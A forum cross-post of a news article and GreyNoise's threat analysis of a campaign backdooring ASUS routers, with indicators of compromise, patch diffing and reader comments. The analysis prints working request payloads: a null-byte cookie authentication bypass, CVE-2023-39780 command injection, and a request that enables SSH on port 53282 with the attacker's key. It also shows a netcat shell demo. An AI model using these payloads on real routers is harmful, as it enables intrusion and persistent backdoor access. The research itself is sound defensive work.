- cross-posted to:
- [email protected]
- cross-posted to:
- [email protected]
cross-posted from: https://rss.ponder.cat/post/193175
Thousands of home and small office routers manufactured by Asus are being infected with a stealthy backdoor that can survive reboots and firmware updates in an attack by a nation-state or another well-resourced threat actor, researchers said.
The unknown attackers gain access to the devices by exploiting now-patched vulnerabilities, some of which have never been tracked through the internationally recognized CVE system. After gaining unauthorized administrative control of the devices, the threat actor installs a public encryption key for access to the device through SSH. From then on, anyone with the private key can automatically log in to the device with administrative system rights.
Durable control
“The attacker’s access survives both reboots and firmware updates, giving them durable control over affected devices,” researchers from security firm GreyNoise reported Wednesday. “The attacker maintains long-term access without dropping malware or leaving obvious traces by chaining authentication bypasses, exploiting a known vulnerability, and abusing legitimate configuration features.”
From Ars Technica - All content via this RSS feed
You must log in or register to comment.
The source the article is based on:
spoiler
GreyNoise has identified an ongoing exploitation campaign in which attackers have gained unauthorized, persistent access to thousands of ASUS routers exposed to the internet. This appears to be part of a stealth operation to assemble a distributed network of backdoor devices — potentially laying the groundwork for a future botnet.
The tactics used in this campaign — stealthy initial access, use of built-in system features for persistence, and careful avoidance of detection — are consistent with those seen in advanced, long-term operations, including activity associated with advanced persistent threat (APT) actors and operational relay box (ORB) networks. While GreyNoise has made no attribution, the level of tradecraft suggests a well-resourced and highly capable adversary.
The attacker’s access survives both reboots and firmware updates, giving them durable control over affected devices. The attacker maintains long-term access without dropping malware or leaving obvious traces by chaining authentication bypasses, exploiting a known vulnerability, and abusing legitimate configuration features.
The activity was uncovered by Sift — GreyNoise’s proprietary AI-powered network payload analysis tool — in combination with fully emulated ASUS router profiles running in the GreyNoise Global Observation Grid. These tools enabled us to detect subtle exploitation attempts buried in global traffic and reconstruct the full attack sequence.
Read the full technical analysis.
Timeline of Events
March 17, 2025: GreyNoise’s proprietary AI technology, Sift, observes anomalous traffic.
March 18, 2025: GreyNoise researchers become aware of Sift report and begin investigating.
March 23, 2025: Disclosure deferred as we coordinated the findings with government and industry partners.
May 22, 2025: Sekoia announces compromise of ASUS routers as part of ‘ViciousTrap.’
May 28, 2025: GreyNoise publishes this blog.
Summary of Findings
Thousands of ASUS routers are confirmed compromised, with the number steadily increasing. Attackers gain access using brute-force login attempts and authentication bypasses, including techniques not assigned CVEs. Attackers exploit CVE-2023-39780, a command injection flaw, to execute system commands. They use legitimate ASUS features to: Enable SSH access on a custom port (TCP/53282). Insert attacker-controlled public key for remote access. The backdoor is stored in non-volatile memory (NVRAM) and is therefore not removed during firmware upgrades or reboots. No malware is installed, and router logging is disabled to evade detection. The techniques used reflect long-term access planning and a high level of system knowledge.
How GreyNoise Found It
The campaign was surfaced by Sift, GreyNoise’s AI-powered analysis tool for detecting novel and anomalous network activity. Sift flagged just three HTTP POST requests — targeting ASUS router endpoints — for deeper inspection.
These payloads were only observed on our fully emulated ASUS profiles running factory firmware. This infrastructure allowed GreyNoise to:
Capture full PCAP of the requests and router behavior. Reproduce the attack in a controlled environment. Confirm how the backdoor is installed and how it persists.
Without emulated profiles and deep inspection, this attack would likely have remained invisible. The attacker disables logging and uses official router features, leaving few traces.
Confirmed Exploitation Chain
- Initial Access
Brute-force login attempts. Two authentication bypass techniques (no CVEs assigned).
- Command Execution
Exploitation of CVE-2023-39780 to run arbitrary commands.
- Persistence
SSH access is enabled via official ASUS settings. Attacker inserts a custom public SSH key. Configuration is stored in NVRAM, not on disk.
- Stealth
Logging is disabled before persistence is established. No malware is left behind.
Scope and Visibility
As of May 27, nearly 9,000 ASUS routers are confirmed compromised, based on scans from Censys — a platform that continuously maps and monitors internet-facing assets across the global internet. Censys reveals what’s exposed; GreyNoise shows which of those assets are being actively targeted. The number of affected hosts is growing. GreyNoise sensors saw just 30 related requests across three months, demonstrating how quietly this campaign is operating.
Indicators of Compromise
IP addresses involved in this activity:
101.99.91.151 101.99.94.173 79.141.163.179
111.90.146.237 COPY BLOCK MALICIOUS IPS
Backdoor port:
TCP/53282 COPY
Attacker SSH public key (truncated):
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZ… COPY
Has ASUS Released a Patch?
ASUS patched CVE-2023-39780 in a recent firmware update. The initial login bypass techniques are patched but do not have assigned CVEs. The attacker’s SSH configuration changes are not removed by firmware upgrades. If a router was compromised before updating, the backdoor will still be present unless SSH access is explicitly reviewed and removed.
Recommendations
Check ASUS routers for SSH access on TCP/53282. Review the authorized_keys file for unauthorized entries. Block the four IPs listed above. If compromise is suspected, perform a full factory reset and reconfigure manually.
Block IPs & Read the Full Analysis
For payload details, firmware analysis, and attack reconstruction:
Read the full technical analysis.
BLOCK MALICIOUS IPS
GreyNoise is developing an enhanced dynamic IP blocklist to help defenders take faster action on emerging threats. Click here to learn more or get on the waitlist.
This article is a summary of the full, in-depth version on the GreyNoise Labs blog. Read the full report
The technical analysis of that source pt 1:
spoiler
AyySSHush: Tradecraft of an emergent ASUS botnet Using an AI powered network traffic analysis tool we built called SIFT, GreyNoise has caught multiple anomalous network payloads with zero-effort that are attempting to disable TrendMicro security features in ASUS routers, then exploit vulnerabilities and novel tradecraft in ASUS AiProtection features on those routers. VULNERABILITIES CYBERSECURITY ASUS AUTHOR remy PUBLISHED May 28, 2025 Using an AI powered network traffic analysis tool we built called SIFT, GreyNoise has caught multiple anomalous network payloads with zero-effort that are attempting to disable TrendMicro security features in ASUS routers, then exploit vulnerabilities and novel tradecraft in ASUS AiProtection features on those routers.
Irony? Top Score. You love to see it.
Note: This activity was first discovered by GreyNoise on March 18, 2025. Public disclosure was deferred as we coordinated the findings with government and industry partners. In summary, we are observing an ongoing wave of exploitation targeting ASUS routers, combining both old and new attack methods. After an initial wave of generic brute-force attacks targeting login.cgi, we observe subsequent attempts exploiting older authentication bypass vulnerabilities. Using either of the above methods to gain privileged access to ASUS hardware, we observe payloads exploiting a command injection vulnerability to create an empty file at /tmp/BWSQL_LOG. This existence of a file at this path enables BWDPI logging, a TrendMicro feature embedded in ASUS routers.
Finally, we see remote SSH enabled on a high port TCP/53282 through the official ASUS settings with an attacker controlled public key added to the router’s keyring. This grants the attacker exclusive SSH access. Additionally, because the backdoor is part of the official ASUS settings, it will persist across firmware upgrades, even after the original vulnerability used to gain access has been patched.
The attacker controlled pubkey that is added is:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048 You can find an actively growing list of backdoored hosts here: Censys Search. This list provides detailed information on hosts with the backdoor in question.
Now let’s go threat hunting!
👋 botnet operator, we were watching.
SIFT
We run a number of full interaction ASUS router firmwares on our fleet of sensors (like honeypots, but with full PCAP capture and all of the analysis engines our platform has to offer attached). The observed payloads were only seen targeting our ASUS RT-AC3100 or RT-AC3200 with an Out-Of-Box configuration.
IP indicators of compromise associated with this activity:
101[.]99[.]91[.]151 101[.]99[.]94[.]173 79[.]141[.]163[.]179 111[.]90[.]146[.]237 SIFT is a machine learning model that creates daily reports of anomalous traffic that is unrelated to all previous traffic observed. This generates a visually intuitive dashboard that highlights exclusively new network payloads. Finally, a large language model analyzes the relevant context to describe the nature of each payload.
Due to the targeted nature of this botnet, its overall noise level is very quiet.
Showing 30 entries filtered from 23,314,780,316 total entries
Regardless, SIFT it caught it anyway. Good job SIFT! There were actually several items raised by SIFT, but here’s the main exported SIFT JSON report I used as a jumping-off point:
{ “title”: “Command Injection via ASUS Router HTTP Post Request”, “totalPayloads”: 3, “payloads”: [ “POST /start_apply.htm HTTP/1.1\r\nUser-Agent: asusrouter–\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: /\r\nAccept-Encoding: gzip, deflate\r\nHost: <redacted>\r\nCookie: asus_token=\r\nConnection: keep-alive\r\nContent-Length: 219\r\n\r\ncurrent_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3Bemail_conf%3Bsend_confirm_mail&oauth_google_refresh_token=%27%60touch+%2Ftmp%2FBWSQL_LOG%60%27”, “POST /start_apply.htm HTTP/1.1\r\nUser-Agent: asusrouter–\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: /\r\nAccept-Encoding: gzip, deflate\r\nHost: <redacted>\r\nCookie: asus_token=\r\nConnection: keep-alive\r\nContent-Length: 219\r\n\r\ncurrent_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3Bemail_conf%3Bsend_confirm_mail&oauth_google_refresh_token=%27%60touch+%2Ftmp%2FBWSQL_LOG%60%27”, “POST /start_apply.htm HTTP/1.1\r\nUser-Agent: asusrouter–\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: /\r\nAccept-Encoding: gzip, deflate\r\nHost: <redacted>\r\nCookie: asus_token=\r\nConnection: keep-alive\r\nContent-Length: 146\r\n\r\ncurrent_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3B&wrs_protect_enable=1” ], “webPaths”: [ “/start_apply.htm” ], “threatScore”: 8, “attackType”: [ “Command Injection” ], “metaTags”: [], “greynoiseTags”: [ { “id”: “869feaa1-dc77-4037-aee2-247b7a39cf7d”, “name”: “Web Crawler”, “slug”: “web-scanner”, “classification”: “unknown”, “cves”: [] } ], “analysisText”: “The given HTTP request attempts a POST operation on an ASUS router endpoint. It specifically targets AiProtection_HomeProtection.asp page and performs multiple action scripts potentially leading to a Denial of Service (DoS). The payload also includes a command injection attack through a suspicious google oauth refresh token, which could be used to create a log file in the /tmp/ directory for further intrusions. Overall, this HTTP payload has serious potential for misuse and exploitation.”, “sensors”: [ { “name”: “1d75c5e0-7124-4704-a291-a513b9faed12”, “ip”: “<redacted>”, “personaName”: “ASUS RT AC3200: Out-Of-Box” }, { “name”: “1d75c5e0-7124-4704-a291-a513b9faed12”, “ip”: “<redacted>”, “personaName”: “ASUS RT AC3200: Out-Of-Box” } ], “sourceIps”: [ { “ip”: “79.141.163.179”, “seenByGreynoise”: false, “classification”: “”, “geo”: { “country”: “”, “asn”: “” }, “tags”: [], “riot”: false } ] }
The extracted LLM description of the anomalous payload:
The given HTTP request attempts a POST operation on an ASUS router endpoint. It specifically targets AiProtection_HomeProtection.asp page and performs multiple action scripts potentially leading to a Denial of Service (DoS). The payload also includes a command injection attack through a suspicious google oauth refresh token, which could be used to create a log file in the /tmp/ directory for further intrusions. Overall, this HTTP payload has serious potential for misuse and exploitation. And it’s absolutely right.
Pulling the Thread
The SIFT record above alerts us to investigate what else has been happening in the ASUS ecosystem.
POST /start_apply.htm
This route is common for exploitation of ASUS routers as it’s a common entrypoint for multiple authenticated function calls.
User-Agent: asusrouter–
The earliest mention I can find of this is via ATREDIS-2020-0010 where asusrouter-- is the user-agent used by internal ASUS functions.
Cookie: asus_token=
Do you see it? Of course not. The vulnerability works precisely because the exploit is invisible by nature. This is why we have full PCAP captures.
00000000: 6173 7573 5f74 6f6b 656e 3d00 asus_token=. This NULL byte (0x00) prematurely terminates string parsing in some authentication mechanisms, bypassing security checks in some ASUS firmwares.
Bruteforce
Detecting credential brute-force attempts over time is challenging, especially with ephemeral attack infrastructure. However, in this case, we observe payloads arriving in patterns consistent with brute-force authentication attempts.
Bag of Tricks
By combining credential bruteforce and 2x authentication byapss tricks, the rest of the requests are treated as authenticated. Let’s dig into the payloads.
Payload Bodies
Breaking them down a bit for easier understanding:
current_page=AiProtection_HomeProtection.asp &action_wait=15 &action_mode=apply &action_script=restart_wrs%3Brestart_firewall%3B &wrs_protect_enable=1
This payload enables wrs_protect_enable=1 the commonly vulnerable featureset in AiProtection_HomeProtection.asp.
current_page=AiProtection_HomeProtection.asp &action_wait=15& action_mode=apply &action_script=restart_wrs%3Brestart_firewall%3Bemail_conf%3Bsend_confirm_mail &oauth_google_refresh_token=%27%60touch+%2Ftmp%2FBWSQL_LOG%60%27
This payload exploits CVE-2023-39780, an authenticated command injection flaw in ASUS RT-AX55 v3.0.0.4.386.51598, allowing attackers to execute arbitrary system commands.
The command being executed is touch /tmp/BWSQL_LOG, which is… highly unusual. It turns out the existstence of this file turns on “BandWidth SQLite LOGging”.
Said another way, there’s ~40 functions in the ASUS router’s bwsdpi_sqlite binary that resemble the following. Passing potentially user-controlled data to a format string and then directly to a system() call, commonly leveraged for command injection.
The technical analysis of that source pt 2:
spoiler
if (f_exists(“/tmp/BWSQL_LOG”) > 0) { var_8f0_1 = &var_7e0; str_1 = str; snprintf(&var_420, 0x400, "echo “[BWDPI_SQLITE]%d/%d[%s] %s…”, i_3, j_1, str_1, var_8f0_1); system(&var_420); // DANGER }
Mystery CVE!
I’m not the only one who has noticed this vulnerability. A full write-up analyzing this critical design flaw is available here: https://leeyabug.top/ASUS-SQLI
Wed, Feb 19, 11:44 —— ASUS confirmed the vul, will add a hall of fame and assign a CVE. discovered by leeya_bug If I wanted to ensure multiple ways to regain access to a router after being locked out, this would be an effective approach.
current_page=Advanced_System_Content.asp &next_page=Advanced_System_Content.asp &modified=0 &flag= &action_mode=apply &action_wait=5 &action_script=restart_time%3Brestart_upnp%3Brestart_usb_idle%3B &first_time= &preferred_lang=EN &reboot_schedule_enable=0 &reboot_schedule_enable_x=0 &telnetd_enable=0 &sshd_enable=1 &sshd_port=53282 &sshd_port_x=53282 &sshd_pass=0 &sshd_authkeys=ssh-rsa+AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV%2BYPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay%2FxDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz%2FMPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG%2Fdj%2B37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9%2FgmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv%2Fx6IcCcKgi2w%3D%3D+rsa+2048-020623 &shell_timeout_x=20
This payload leverages built-in ASUS router features to enable SSH on both LAN and WAN, bind it to TCP/53282, and add an attacker-controlled public key::
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048-020623 Because this key is added using the official ASUS features, this config change is persisted across firmware upgrades. If you’ve been exploited previously, upgrading your firmware will NOT remove the SSH backdoor.
Can you prove that the 4,853 (and steadily increasing) hosts from this Censys search are actually backdoored with this SSH pubkey? Yes. One of the features of sshamble by runZero is the ability to take a pubkey attacker.pub and a username, and determine if the remote host has the associated pubkey inserted.
In this case, the attacker possesses information we do not—specifically, the username. We suspect this was gathered earlier through brute force attacks. With a sample size of ~5,000, it is likely that at least one user chose “admin” as their username.
sshamble scan --checks pubkey-hunt -u admin --pubkey-hunt-file attacker.pub --input-targets censys-ips.txt
And sure enough, someone has. We can confirm that the attacker controlled pubkey has been installed for the admin user on the remote machine on TCP/53282. Something privileged that has absolutely no business being there.
“pubKeyHuntResults”: [ “ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== admin” ]
Demoing the Attacks
After obtaining a physical ASUS RT-AX55 (which is affected by the identified CVE-2023-39780), we used the above payloads to execute commands and spawn a netcat listener without any issues.
Starting Nmap 7.80 ( https://nmap.org/ ) at 2025-03-21 13:10 EDT Nmap scan report for RT-AX55-4960 (192.168.50.1) Host is up (0.012s latency).
PORT STATE SERVICE 1111/tcp open lmsocialserver
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds remy@remy-XPS-13-9310:~$ nc -vvv 192.168.50.1 1111 Connection to 192.168.50.1 1111 port [tcp/*] succeeded! �������� badmin@RT-AX55-4960:/tmp/bwdpi# ls ls app_patrol.conf bwdpi.rule.db key.enc tmfbe_workdir bwdpi.app.db dcd.conf libshn_pctrl.so wred.conf bwdpi.appdb.db dcd.pid model.enc wred.pid bwdpi.beh.db dcd.stat ntdasus2014.cert bwdpi.cat.db dev_wan rule.version bwdpi.devdb.db guid shn.pem
taking ARMs against a sea of troubles
While updating my new ASUS RT-AX55 to the latest firmware, I noticed a recent security update released just three days ago.
Unfortunately, the download link is broken and returns a 404 error.
Shortly afterward, the download description and link disappeared entirely.
So, I installed the latest available version and moved on. (Of course, that didn’t solve the issue.)
Patch Diffing
I do have FW_RT_AX55_300438651598.zip and FW_RT_AX55_300438652332.zip(newest) firmwares available. A quick unblob / binwalk makes quick work of extracting the squashfs-root filesystem.
The old vulnerable function looks a bit like this:
nvram_set(“oauth_google_token_status”, &data_174fea[0xf]); void var_410; memset(&var_410, 0, 0x400);
if (!check_if_dir_exist(“/tmp/oauth/”)) mkdir(“/tmp/oauth/”, 0x1ed);
snprintf(&var_410, 0x400, “wget --no-check-certificate --ti…”, 3, 1, nvram_get(), “103584452676-437qj6gd8o9tuncit9h…”, “xivDhVGSSHZ3LJMx228wdcDf”, “refresh_token”, “/tmp/oauth/google_access_token.j…”, “https://www.googleapis.com/oauth…”);
if (f_exists(“/tmp/OAUTH_DEBUG”) > 0) cprintf(“[OAUTH][%s:(%d)]post cmd : %s\n”, “oauth_google_check_token_status”, 0x5b6, &var_410);
system(&var_410); // DANGER
The newest patch available just wraps the above code in an if statement from an external function is_valid_auth_code from /usr/lib/libshared.so
if (is_valid_oauth_code()){ //Same code as before }
Authors Note: While not directly relevant to our current investigation, --no-check-certificate on the wget command means that your Google OAuth token is sent to a remote server without validating the SSL/TLS certificate. This has implications. We grab a cross-compiler toolchain for a compatible GLIBC version from https://toolchains.bootlin.com/ and cross-compile an ARM binary that will load libshared.so, dumping a list of valid characters from the new gatekeeper function, prompting us to allow playing with the input, and passing the input through the same snprintf and system calls as in the original binary.
#Cross compile armv5-eabi–glibc–stable-2020.02-1/bin/arm-linux-gcc -o callshared.elf callshared.c -ldl #ELF check file callshared.elf #Move binary into firmware squashfs root cp callshared.elf ./squashfs-root/bin/callshared.elf #Move QEMU emulator binary into squashfs root cp /usr/bin/qemu-arm-static ./squashfs-root/bin/qemu-arm-static #Change root, load libshared.so, execute our hook sudo chroot ./squashfs-root/ qemu-arm-static -E LD_PRELOAD=“/usr/lib/libshared.so” /bin/busybox sh -c “/bin/callshared.elf”
callshared.c
#include <stdio.h> #include <stdint.h> #include <dlfcn.h> #include <string.h>
#define MAX_INPUT 4096
int main() { void *handle; int (*oc)(char *); // Function pointer with return type int char *error; char input[MAX_INPUT]; int result; __uint8_t curChar;
// Open the shared object file handle = dlopen("libshared.so", RTLD_LAZY); if (!handle) { fprintf(stderr, "%s\n", dlerror()); return 1; } // Get a pointer to the is_valid_oauth_code function oc = (int (*)(char *))dlsym(handle, "is_valid_oauth_code"); if ((error = dlerror()) != NULL) { fprintf(stderr, "%s\n", error); dlclose(handle); return 1; } for (uint16_t i = 0; i <= 0xFF; i++) { uint8_t byte_value = (uint8_t)i; char char_value = (char)byte_value; result = (*oc)(&char_value); if (result) { printf("Value: %3u, Hex: 0x%02X, Char: %c\n", byte_value, byte_value, char_value); } } // Get user input while (1) { printf("Enter an oauth code: "); if (fgets(input, MAX_INPUT, stdin) == NULL) { fprintf(stderr, "Error reading input\n"); dlclose(handle); return 1; } // Remove newline character if present input[strcspn(input, "\n")] = 0; // Call the is_valid_oauth_code function with user input and store the result result = (*oc)(input); // Print the returned value printf("Return value: %d\n", result); if (result) { char buffer[1024]; int o = snprintf(&buffer, 1024, "wget --no-check-certificate --timeout=%d --tries=%d --method POST --header 'content-type: application/x-www-form-urlencoded' --header 'cache-control: no-cache' --body-data 'refresh_token=%s&client_id=%s&client_secret=%s&grant_type=%s' --output-document=%s %s", 3, 1, input, "103584452676-437qj6gd8o9tuncit9h8h7cendd2eg58.apps.googleusercontent.com", "xivDhVGSSHZ3LJMx228wdcDf", "refresh_token", "/tmp/oauth/google_access_token.json", //IP for example.com since DNS resolver doesn't exist inside emulated sandbox "http://23.215.0.136/AAAAAAAAAAAAAAAAAAA"); printf("Overflowed: %d", o); printf("\n%s\n", buffer); int e = system(buffer); } } // Close the shared object dlclose(handle); return 0;}
The technical analysis of that source pt 3:
spoiler
This produces a list of allowed characters to get past this gate:
Dec Hex Char Dec Hex Char Dec Hex Char 0 0x00 9 0x09 10 0x0A 11 0x0B 12 0x0C 13 0x0D 32 0x20 43 0x2B + 45 0x2D - 46 0x2E . 47 0x2F / 48 0x30 0 49 0x31 1 50 0x32 2 51 0x33 3 52 0x34 4 53 0x35 5 54 0x36 6 55 0x37 7 56 0x38 8 57 0x39 9 65 0x41 A 66 0x42 B 67 0x43 C 68 0x44 D 69 0x45 E 70 0x46 F 71 0x47 G 72 0x48 H 73 0x49 I 74 0x4A J 75 0x4B K 76 0x4C L 77 0x4D M 78 0x4E N 79 0x4F O 80 0x50 P 81 0x51 Q 82 0x52 R 83 0x53 S 84 0x54 T 85 0x55 U 86 0x56 V 87 0x57 W 88 0x58 X 89 0x59 Y 90 0x5A Z 95 0x5F _ 97 0x61 a 98 0x62 b 99 0x63 c 100 0x64 d 101 0x65 e 102 0x66 f 103 0x67 g 104 0x68 h 105 0x69 i 106 0x6A j 107 0x6B k 108 0x6C l 109 0x6D m 110 0x6E n 111 0x6F o 112 0x70 p 113 0x71 q 114 0x72 r 115 0x73 s 116 0x74 t 117 0x75 u 118 0x76 v 119 0x77 w 120 0x78 x 121 0x79 y 122 0x7A z 126 0x7E ~ The originally vulnerable CVE-2023-39780 workflow for auth_google_check_token_status appears to be correctly patched in FW_RT_AX55_300438652332. is_valid_oauth_code interestingly validates a buffer size of 2048 bytes while it’s passed to snprintf with a size of 1024, so truncation can occur. However, because the token is formatted inside of single-quotes ’ this only results in a shell error. I don’t believe escaping the single-quotes of this particular function is possible given the allowed characters.
–body-data 'refresh_token=AAAAAAAAAAAAAAAAAAAAA(…)
sh: syntax error: unterminated quoted string
And since we don’t trust vendors to be thorough, we should go check the other 4 functions that are nearly identical to auth_google_check_token_status that the developers may have forgotten to use single-quotes. Alternatively, if you’re not a reverse engineer capable of checking this for yourself, get your ASUS router off the internet.
Summary and IoCs
IPs:
101[.]99[.]91[.]151 101[.]99[.]94[.]173 79[.]141[.]163[.]179 111[.]90[.]146[.]237 ASUS Filesystem:
/tmp/BWSQL-LOG /tmp/home/root/.ssh/authorized_keys Pubkey:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048
Welp the jokes on me! Haven’t even updated my 10y old router since 3 moves ago…
I didn’t read the article, but how does one know if they have the infection?
My router is updated.
Edit: i see in the article now. Had time to read it today. 👍 I also verified i never has SSH or remote admin enabled. So i should be ok.
I skimmed a different article that mentioned it disables the Trend Micro stuff - which is the whole reason I buy Asus routers (can’t tell you how many stupid things children have downloaded or bad phishing/malicious/anna kournakova naked links they’ve clicked and it has stopped!) so I’m taking the fact that it is still enabled and doing the good things to mean I’m good.
Cool, i don’t know if my system has any trend micro stuff. Which features does this enable?
Edit: i see it listed as AI protection. Hmm…
Yeah, two way IPS, malicious site blocking, and “infected device prevention and blocking” which stops compromised hosts from talking to C&C servers. I’ve had the last one show me one of the children’s computers/phones was infected and needed to be cleansed with fire, at least twice. All in all incredible protection against “users” and their careless behaviour!
I turned it on and ill see what it reports after a week or so. Thanks for the info. 👍✌️
The real issue with this is actually allowing bad actors having a free ddos network. And this ddos network is spread across nations and across all kind of legit IPs. No cloud ranges. Etc.
Meaning it’s very hard to detect or block.
People still on Windows 10 by next year: I never got a virus.
Bro, you never got a virus that you know of.
If you have blocked so that access to your router is only through the local network, would it still be possible for hackers to gain access?
(Where the attack vector point STARTS with the router, I am fullt aware you can infect a machine and connect to the router that way)
It’s safer to assume “yes” and check your router, but the CVE links indicate compromises through the web portal of the device, and there is no way to compromise that from the Internet if your router is behind a NAT without a hole punched for web access.
Wondering same thing. Allowing web interface access via wan has proven to be unwise in general.
Also wondering if DDWRT has the vulnerabilities?
Seems a bit over blown. Looks like firmware update and config reset should close the issue.
Maybe it will survive firmware update. But of course it won’t survive flashing it with a new openwrt image.
it seems it’s because the modem has hidden SSH settings that is stored together alongside your user settings although it is not accessible from your admin panel. So flashing openWRT would also override those settings anyways (even if it does not, those old settings means nothing to openWRT)
Yes; they’re using exploits to do so.
